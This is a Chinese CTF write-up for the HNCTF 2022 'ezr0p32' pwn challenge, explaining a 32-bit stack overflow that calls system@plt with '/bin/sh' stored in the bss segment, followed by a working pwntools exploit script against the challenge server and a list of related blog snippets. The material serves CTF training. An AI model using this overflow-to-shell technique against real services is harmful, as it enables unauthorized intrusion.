【PWN · ret2text | ‘/bin/sh‘写在bss段】[HNCTF 2022 Week1]ezr0p32
目录
前言
一、题目
二、解题过程
payload的构造
三、exp
总结
前言
一直在做libc的中规中矩的题目,遇到一题有点老的类型的题目有些陌生。但其实其中原理比较简单,但是涉及到/bin/sh获取的常规操作,而自己也没整理过,于是特此发篇笔记
一、题目
读入了超过buf长度的数据,存在栈溢出漏洞;调用了system,可以通过plt调用到该函数
然而需要注意两个buf的差别!!
双击第一个buf
是bss段的全局变量
双击第二个buf
是本函数的局部变量,也就是可以溢出的部分。
——第一个bss可以填充/bin/sh,第二个用于system函数调用
二、解题过程
- 在第一个输入处输入"/bin/sh"
- 构造合适的payload在第二个输入处输入
payload的构造
payload=垃圾数据(+填充ebp)+目标跳转地址+...+参数
我们要调用system,这个可以填写system的plt的地址即可,然而32位参数放在栈上,需要我们构造,需要注意的是,参数不应直接跟在函数(目标函数地址)后面,而应该空开一个字,这是因为调用函数时,参数和ebp被同时压入栈中,而空开的字就是ebp的位置——简单来说,调用函数后,callee会将栈上的内容识别为ebp+参数,获取参数会越过ebp获取。所以我们要空开一个字
三、exp
from pwn import *
from pwn import p32# io=process("./ezr0p")
io=remote("node1.anna.nssctf.cn",28086)
elf=ELF("./ezr0p")context(arch="i386",os='linux',log_level='debug')io.recvuntil(b'name')
io.sendline(b'/bin/sh')
bss_addr=0x804a080payload=b'a'*(0x1c+4)
payload+=p32(elf.plt['system'])
payload+=b'aaaa'
payload+=p32(bss_addr)io.sendlineafter(b'time~',payload)io.interactive()
总结
比较简单,也比较老套,所以更应该记住
【PWN · ret2text | ‘/bin/sh‘写在bss段】[HNCTF 2022 Week1]ezr0p32相关推荐
- 【PWN系列】格式化字符串在bss段上的处理
个人博客地址 http://www.darkerbox.com 欢迎大家学习交流 参考网址: http://www.starssgo.top/2019/12/06/%E6%A0%BC%E5%BC%8F ...
- buuctf (网鼎杯)wdb_2018_3rd_pesp realloc_hook, unlink,写入bss段3种方法记录
写了一道2018网鼎的heap,漏洞挺多,尝试了3中方法解题,也算是对目前heap的学习进度的总结吧 题目本身是一道常规heap题,pie和got保护都没开,可以改写got表 ①realloc_hoo ...
- Ret2Libc(2) (有system、无‘/bin/sh’)绕过NX、ASLR
和Ret2Libc(1)一样,先把程序扔进IDA看看代码 和Ret2Libc(1)一样,gets存在溢出漏洞 gdb-peda$ checksec CANARY : disabled FORTI ...
- SECTIONS bss段初始化分析
SECTIONS bss段初始化分析 都知道bss段需要初始化,但是这是为什么呢? 通过浏览资料,都会发现,bss段是不会出现在程序下载文件(*.bin .hex)中的,因为全都是0.如果把出现在程序 ...
- text段,data段,bss段,堆和栈
红色部分为问题部分 堆和栈的区别 一.预备知识-程序的内存分配 一个由c/C++编译的程序占用的内存分为以下几个部分 1.栈区(stack)- 由编译器自动分配释放 ,存放函数的参数值,局部变量的值等 ...
- 代码段+数据段+bss段+stack+heap
在学习之前我们先看看ELF文件. ELF分为三种类型:.o 可重定位文件(relocalble file),可执行文件以及共享库(shared library),三种格式基本上从结构上是一样的,只是具 ...
- #!/bin/bash和#!/bin/sh的区别,source命令和exec命令
Linux脚本开头#!/bin/bash和#!/bin/sh是什么意思以及区别 一.含义 #!/bin/sh是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面根的是此解释此脚本的she ...
- 关于text段、data段和bss段
根据APUE,程序分为下面的段:.text, data (initialized), bss, stack, heap. data/bss/text: text段在内存中被映射为只读,但.data和. ...
- Ret2Libc(1) (有system、/bin/sh)绕过NX、ASLR
Ret2Libc即控制程序执行libc库中的函数. 通常是返回到某个函数的plt处,或者函数运行时候的实际地址. 下面是一个例子: 可以看出程序gets有一个明显的溢出漏洞 gdb-peda$ che ...
最新文章
- APPSERV下安装pear db和auth
- mysql_常用命令
- Kubernetes1.6安装指南 (二进制文件方式)
- 为何gpio_to_irq不能静态使用?【转】
- junit测试起名字规则_如何在JUnit 5中替换规则
- mysql数据库表的类型介绍,mysql数据库表的类型介绍
- 如何用iOS工程生成iOS模拟器包
- oracle上机题库_Oracle OCP认证考试IZ0-053题库共712题数据库(带中文解析)
- 关于jpa的mappedBy用法
- MYSQL监控工具--mytop
- C1任务01 #记录与总结 #C无止境21040904在职C1组
- Python做一个“盯盘机器人”,实时监控股票价格并通知你!
- 旧笔记本改linux桌面,在老旧笔记本电脑上成功安装xubuntu
- HDU 6078Wavel Sequence
- bulldog渗透总结
- CCleaner - The world's most popular PC cleaner!
- Java //PP2.16编写一个applet,画出北斗七星,并在夜空中添加一些其他的星星
- Golang:中“静态”方法
- 无法启动节点ERROR:cannot launch node of type [map_server/map_server]:map_server
- php详情页模板怎么做,WordPress自定义文章详情页模板
热门文章
- 女仆怎么画?裙子的阴影怎么画?
- java 身份证号码正则表达式校验
- 华为领跑高端市场背后:聚焦与创新连接未来
- centos光驱安装软件
- “华为手机”和“荣耀手机”的区别?今天全都告诉你
- 计算机组成原理学位考试,计算机组成原理学位考A卷.doc
- Mac Android开发提升效率的工具、插件、心得集锦(gif动画演示)
- 亲测英皇CMS影视网站系统源码+多种模板/自带采集/支持APP
- 【翻译】liquibase 中 change set 的格式
- 先验概率和后验概率的定义